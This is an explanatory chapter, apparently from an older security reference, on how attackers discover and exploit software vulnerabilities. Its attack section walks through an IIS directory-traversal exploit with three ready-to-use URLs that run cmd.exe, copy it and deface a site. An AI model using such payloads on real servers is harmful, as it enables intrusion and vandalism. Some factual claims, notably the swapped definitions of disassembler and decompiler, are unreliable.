How Hackers Break Into Computers

How to Discover New Vulnerabilities

Many of the most skilled individuals involved in discovering new ways to break into computers work in corporate, governmental, or academic laboratories. They not only use considerable brainpower and creativity in their jobs but also typically create and use sophisticated software tools to assist them in their research duties. (The National Security Agency, or NSA, was one of the earliest government agencies to create such a research group). Even in these research environments, the people who find ways to break into computers typically describe themselves as "hackers."

What follows are some examples of techniques for finding vulnerabilities and the places to obtain the software tools to assist in these discoveries.

Examination of Source Code

Many companies have teams testing their products for security flaws. In these circumstances, the analyst has access to the source code (that is, commands the programmers write). This process is called "white-box" analysis. Depending on the software language they are examining for vulnerabilities, usually there are programs that will scan for commands or syntax known to cause problems. Some programming languages, most famously Java, are inherently designed to resist security flaws. Yet even Java programs sometimes have vulnerabilities offering ways to break into computers.

Many companies choose to program in languages such as C or C++ to save money. The latter are not only easy to program but also run fast. The problem is that these languages are rife with security hazards. Though a well-known list exists of hazardous commands in these languages and simple programs identifying all these uses, ways are available to rewrite these programs to get around the hazardous commands.

Some software, such as the Mozilla browser and the OpenBSD operating systems, is developed by loosely organized teams of unpaid volunteers. The potential for loosely supervised programmers to write buggy and vulnerable code is therefore high. These team projects have typically solved the problem by giving the public access to the source code; such access is known as "open access." Open access literally means that anyone can examine the code for vulnerabilities enabling computer break-ins. The potential for fame and offers for dream jobs have motivated many a volunteer to run exhaustive checks for vulnerabilities. As a result, Mozilla and OpenBSD are now known for being almost free of security vulnerabilities.

Disassemblers and Decompilers

The greatest opportunity for hackers and crackers to find ways to break into computers is with software written by organizations using hazardous programming languages, organizations that do not train their programmers how to write secure code, and organizations that do not test their software for security flaws. Even companies that make efforts to produce secure software can end up shipping products that hide what appears to be an almost infinite number of break-in ­vulnerabilities.

With each new release of a major software product, teams of professionals in organizations such as the NSA and computer security companies (not to mention amateurs and computer criminals) labor to find these problems. The main issue for these teams of professionals is that they usually do not have the source code of the software they are examining. When lacking the source code, these teams then turn to using disassemblers and decompilers.

A disassembler converts a program back into the original programming language. This is a difficult task, and it is likely to work only with a small program, typically one written in Java. A decompiler converts software into assembly language. Assembly language is a low-level language far more difficult to understand than the high-level languages in which most computer programs are written. Nevertheless, a sufficiently talented programmer can analyze assembly language. Although decompilers are typically able to handle larger programs than are disassemblers, they can process only comparatively small programs. Today, decompilers are the tools of choice to analyze worms, viruses, and other small instances of malware (that is, malicious programs).

Some examples of disassemblers and decompilers include the SourceTec Java decompiler, at http://www.sothink.com/decompiler/index.htm; the IDA-Pro Interactive Disassembler, at http://
www.datarescue.com; and a number of free disassembler and decompiler tools, at http://protools
.anticrack.de/decompilers.htm.

Debuggers

For larger programs and for additional analysis of programs for which one has the source code or those that have been disassembled, professional teams may find flaws by running the programs through a "debugger," which operates a program one step at a time and allows individuals to view what is in memory at each step. One commercial debugger is SoftIce, described at http://
www.compuware.com. Another is Dumpbin, a Windows program bundled with the Microsoft C++ compiler. On UNIX systems, the most frequently used debugger is gdb, which is shipped as part of most Linux distributions and available without fee for commercial versions of UNIX.

Fault Injection

In the case of Windows XP, some 40 million lines of source code (which the Microsoft Corporation keeps secret) confront the analyst team or crackers. No decompiler can extract code from such a big program. Even a debugger would make little headway. So, other alternatives are sought, the most prevalent of which is the "black box" analysis. In this process, the professional analyst team or crackers try to find all the possible ways to give inputs. They then try the inputs to determine whether they have the potential to "crash" a system or evade security. Because of the difficulty of this process, the team or the individual uses a "fault injection" tool to speed this technique. Examples of fault injection include a database query crafted to command a database server to erase everything, or a Web browser URL infecting a Web server with a worm. The process of trying all those different inputs looking for some fault is also known as fuzzing.

Some examples of commercial fault injection tools include Hailstorm, found at http://cenzic
.com; Failure Simulation Tool, found at http://cigital.com; and Holodeck, found at http://www
.sisecure.com/.

Buffer Overflows

Buffer and heap overflows are special cases of fault injection. Testing for these conditions has discovered the majority of computer security flaws known today. Basically, a "buffer overflow" is a condition whereby too much data is placed in too little allocated space in a computer's memory. The extra data, if properly crafted, and if inserted into a program with the right kind of access to memory, can end up in a region of memory enabling a break-in.

Crackers have discovered buffer overflows by simply trying super-long data inputs, such as typing a long URL into a browser location window. A super-long URL is an example of an "injection vector." When the attacker sees some sort of error condition resulting from this injection, this is a sign that a buffer overflow has occurred. An example of an error condition is to get the error message on a UNIX-type of system known as "segmentation fault." The trick is to see whether one may use the overflow condition to break into a computer.

The attacker next inserts "shellcode" into this long string of data. Shellcode is a compiled program actually performing the break-in. Shellcode is the "payload" of the exploit.

At this stage, the trick is to use the buffer overflow to place the payload into the exact place in memory to get it to run. A common way to do this is to place many "NOP" commands in front of the payload. NOP means "no operation"-meaning that the program should do nothing. It may seem amazing that computers would be designed to accept commands to do nothing, but this feature is essential to the majority of exploits. The advantage to using NOP commands is that it does not matter where the payload is inserted into the buffer overflow because any commands cut off at the beginning of the payload are merely NOPs. A series of NOPs is often coded as "AAAAAAAAAAA. . . ."

Buffer overflow discoveries are made easier by automating tests for overflows. However, such tests cannot be done blindly by just running a fault injection program. The process takes a bit of creativity. The Shellcoder's Handbook: Discovering and Exploiting Security Holes by Jack Koziol, David Litchfield, Dave Aitel, Chris Anley, Sinan "noir" Eren, Neel Mehta, and Riley Hassell (Wiley Publishing, Inc., 2004) focuses on how to discover and exploit buffer overflows and ­similar overflow conditions. Shellcode is platform specific, meaning that a sequence of commands that works for a Windows platform will not work for a UNIX system, and vice versa. A great tool to set up automated exploits is metasploit.

Communication and Social Aspects of Finding Vulnerabilities

Most scientific and engineering endeavors are shared with the scientific community through newsletters and journal articles. When it comes to the invention of various ways to break into computers, information flow within the security field and in the Computer Underground (CU) is alive and well. In fact, a number of email lists are devoted to the discovery of vulnerabilities, including Bugtraq, found at http://www.security focus.com; Vuln-dev, found at http://www
.securityfocus.com; and Full-disclosure, found at http://www.netsys.com.

The following is an example of how these collaborations in the CU can result in the discovery of vulnerabilities. On July 9, 2004, someone calling himself "Jelmer" at jkuperus@planet.nlThis e-mail address is being protected from spam bots, you need JavaScript enabled to view it wrote this to the Full-disclosure email list:

INTRODUCTION

Actually I wasn't really sure if I ought to post this, but after some consideration I decided that it might serve as an example of the completely messed up state we find Internet explorer in today. There's a very minor issue with the way the Sun Java virtual machine creates temporary files from applets. IE [Internet Explorer] blows it off the chart, combining this with some unresolved issues in IE can lead to remote code execution [ability to break into a computer through IE].

Jelmer next cited two people who made discoveries that gave him ideas about how to find new vulnerabilities:

A couple of days back Marc Schoenfeld posted an advisory about an implementation flaw in the Sun Java virtual machine.... My partner in crime HTTP-EQUIV was investigating this report when he noticed that this demo created a temporary file in his temp folder called +~JFxxxxx.tmp where xxxxx is a random 5 digit number, He mailed me to say hey take a look at this.

Jelmer then cited the fact that he used a decompiler to assist with his process of discovery:

I decompiled marcs [sic] class [Java program] and noticed that the .tmp file being created contained the exact contents of the byte array that got passed to Font.createFont. Now If you can create a file on someone's disk drive and get your browser to render it, we've got our selves something

Jelmer then provided the source code to a demonstration program he wrote. In explaining how this program works, he credited yet another discovery he had seen on that email list:

Using an old bug (http://lists.netsys.com/pipermail/full-disclosure/2004-February/016881.html)...

Then Jelmer provided another program he had written. He credited a post of the Bugtraq email list as a solution to the final piece of the puzzle:

Bang! We would have remote code execution, well at least if we'd know the username :) Well, that's not an issue either (http://seclists.org/bugtraq/2004/Jun/0308.html)....

Jelmer ended his post by providing a demonstration of this technique at http://poc.homedns
.org/execute.htm. (The Website is no longer available, a rather common outcome for such sites).

Often, individuals in the CU complain that social communications there can get rather rude and insulting, a reality known as flaming. Flaming is not a rarity, and ad hominem arguments and the circulation of ridiculous gossip are common there. To help protect their self-esteem, therefore, most participants use aliases or monikers to hide their real identities. However, despite this emotionally chaotic environment, which often breaks the usual rules for brainstorming and maintaining harmonious environments, those in the Computer Underground do tend to make many creative discoveries and to write many exploits.

Also, although hackers in the CU claim that their social environment is relatively free from race and gender biases, many women there have admitted that they feel the environment can be especially unkind to them. This unkindness is probably due to hostility that goes far beyond saying impolite things. Vetesgirl (a.k.a. Rachelle Magliolo) of Sarasoto, Florida, serves as a modern-day female case in point. Vetesgirl wrote a well-regarded security scanner that is still offered for free download from many computer security Websites. Soon after its release, however, the hacker Website www.Antioffline.com launched a campaign of abuse against her.

Here is an example of what was posted: "90% of our viewers agree self-evident.com [Vetesgirl's Website] should be renamed self-centered.com. View Vetesgirl's page where its [sic] all about her and who she can get busted with her elite shell scripting skills."

It was not too long after this posting appeared that some cybercriminals succeeded in running her Website off the Internet. The sad part is that Vetesgirl seems to have vanished from the hacker scene altogether, unless, of course, she is now participating in the Computer Underground while masquerading as a male.

Because of penalties such as these, it is unclear how many of the individuals who discover software vulnerabilities are actually women.

Reconnaissance

It is one thing to know that certain vulnerabilities exist, but knowing exactly under what conditions vulnerabilities may translate into an opportunity for someone to break into a computer system is nontrivial. For this reason, system security analysts conduct "reconnaissance" to ensure that they have patched all known security flaws in their systems. Programs that analysts use in safeguarding their system include Nessus, found at http://www.nessus.org, as well as products from Internet Security Systems (found at http://www.iss.net) and from GFI LANguard Network Security Scanner (found at http://www.gfi.com).

Moreover, a properly configured and tweaked Intrusion Detection System (IDS) should notify the network administrator of any scanning being done on the system by outsiders, unless the attacker uses IDS evasion techniques, which require a somewhat more sophisticated approach on the attacker's part. Once alerted to a break-in attempt, most administrators can block the attacker and help authorities to track him or her down.

A skillful computer criminal is unlikely to use any of the products just cited. Rather, a skilled attacker uses something more stealthy, such as the nmap port scanner. The port scanner (described at www.insecure.org) does not tell the attacker nearly as much good information as a port ­scanner such as Nessus does. Regardless of the quality of information, what is important to a cracker is that when run in certain modes, a port scanner is less likely to be detected by an IDS.

Some attackers will do some "social engineering" reconnaissance of their own by using techniques of the spy trade, such as pretending to be an employee of the target organization or by going through trash bins looking for documentation on the network.

Yet others who break into computers do not do any reconnaissance. Instead, they will get an exploit and use it at random, hoping to find vulnerable computers. The logs of almost every IDS show that the overwhelming majority of attacks actually had no possibility of succeeding because the attackers must have done no reconnaissance. The individuals who carelessly attack blindly are known as "scriptkiddies." Their means of attack is to blindly run programs. Many know next to nothing about how to break into computers and not be detected.

Also of importance is the fact that no "blind attacks" are conducted by human beings. Most blind attacks are performed by worms, which are automated break-in programs that run without human intervention and without performing reconnaissance.

Statistics, updated daily on break-in attacks, can be found at http://isc.incidents.org/.

The Attack

After the cracker has detected vulnerabilities in the system he or she has decided to attack, the next step is to carry out the attack. In some cases, the exploit itself is easy. What follows is an example of an exploit to break into a Windows 2000 Web server and deface its Website. This exploit will work on Windows 2000 Server or Windows Professional, but only if it has not been patched beyond Service Pack 2, and only if it is running IIS or a Personal Web Server that is not patched.

Step One

The attack program is simply a Web browser, and the attacker just has to insert a series of URLs in the location window. The first URL identifies whether the server is likely to be vulnerable:

http://victim.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"dir%20c:\"

In the preceding URL, %20 means "space." The "+" also means "space." The %255c is Unicode encoded. After it goes through the Unicode translation, the attacker winds up with 5c, which is hex for ‘\'. So from the string ..%255c..%255c, you get ..\..\ for "go up two directories."

If the victim computer is vulnerable, the attacker's browser will show something like the ­following:

Directory of c:\09/21/2001 09:59a ASFRoot

09/22/2001 06:53a Documents and Settings

09/21/2001 05:06p Inetpub

09/29/2001 05:37p Microsoft UAM Volume

09/21/2001 05:09p Program Files

10/01/2001 03:57p WINNT

0 File(s) 0 bytes

6 Dir(s) 8,984,092,672 bytes free

Step Two

The next malicious URL the attacker must insert is as follows:

http://victim.com/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+"copy%20..\..\
winnt\system32\cmd.exe%20..\scripts\cmd1.exe"

This copies cmd.exe (running the MS-DOS program in Windows 2000, NT and XP) into the Web server's scripts directory. This directory holds CGI (Common Gateway Interface) programs. (Examples of CGI programs are shopping carts and programs to search the local Website.) If the server is vulnerable, the attacker sees the following in the browser:

CGI Error.

The specified CGI application misbehaved by not returning a complete set of HTTP headers. The headers it did return are

1 file(s) copied.

This error message reveals that the attack copied the cmd.exe program into the scripts ­directory.

Step Three

The final step is to insert this URL:

http://victim.com/scripts/..%c1%9c../inetpub/scripts/cmd1.exe?/c+echo+I%20broke%20in%
20Muhahaha!+../wwwroot/iisstart.asp&dir&type+../wwwroot/iisstart.asp

This creates a main page for the Website that says, "I broke in Muhahaha!" Note that this only works if the main page is named iisstart.asp. If it is named something else, such as index.shtml, the attacker must make the substitution for the proper main page name.

Where does the attacker find instructions and programs for breaking into computers? Public sources include Websites and computer manuals. The archives of email lists devoted to discoveries of vulnerabilities are also excellent sources. There are also Websites offering downloads of break-in and reconnaissance programs. Some examples include Zone-h, found at http://www
.zone-h.org; Packetstorm, found at http://www.packetstorm.nl and Packetstorm Security, at http://www.packetstormsecurity.org; and Cgi Security, at http://cgisecurity.com/.

Verification

Whether the attack on a computer has been carried out in a research lab, in a war game, or as a computer crime, the attacker typically wants to know whether he, she, or it (in the case of a worm) succeeded. In most cases of attack, the verification analysis is obvious. In the case of worm-induced cases of attack, those who unleash the worms often program them to report to an Internet Relay Chat channel or a Web server. More often, the creator of a worm either does not care which computers it broke into, or he or she uses a scanner to detect whether the worm has taken over a computer. Usually this is a Trojan "back door," named after the Trojan horse used by the Greeks to invade the ancient city of Troy. These back doors invite attackers to remotely to take over control of the victimized computer. Many computer break-ins are simply caused by crackers scanning computers for these back doors.

Many Websites list the more common Trojans and the ports through which one may access them. These include Intrusion Detection FAQ, found at http://www.sans.org/resources/idfaq/
oddports.php; DOS Help, found at http://www.doshelp.com/trojanports.htm; and Packetstorm Security, found at http://packetstormsecurity.org/trojans/trojan.ports.txt.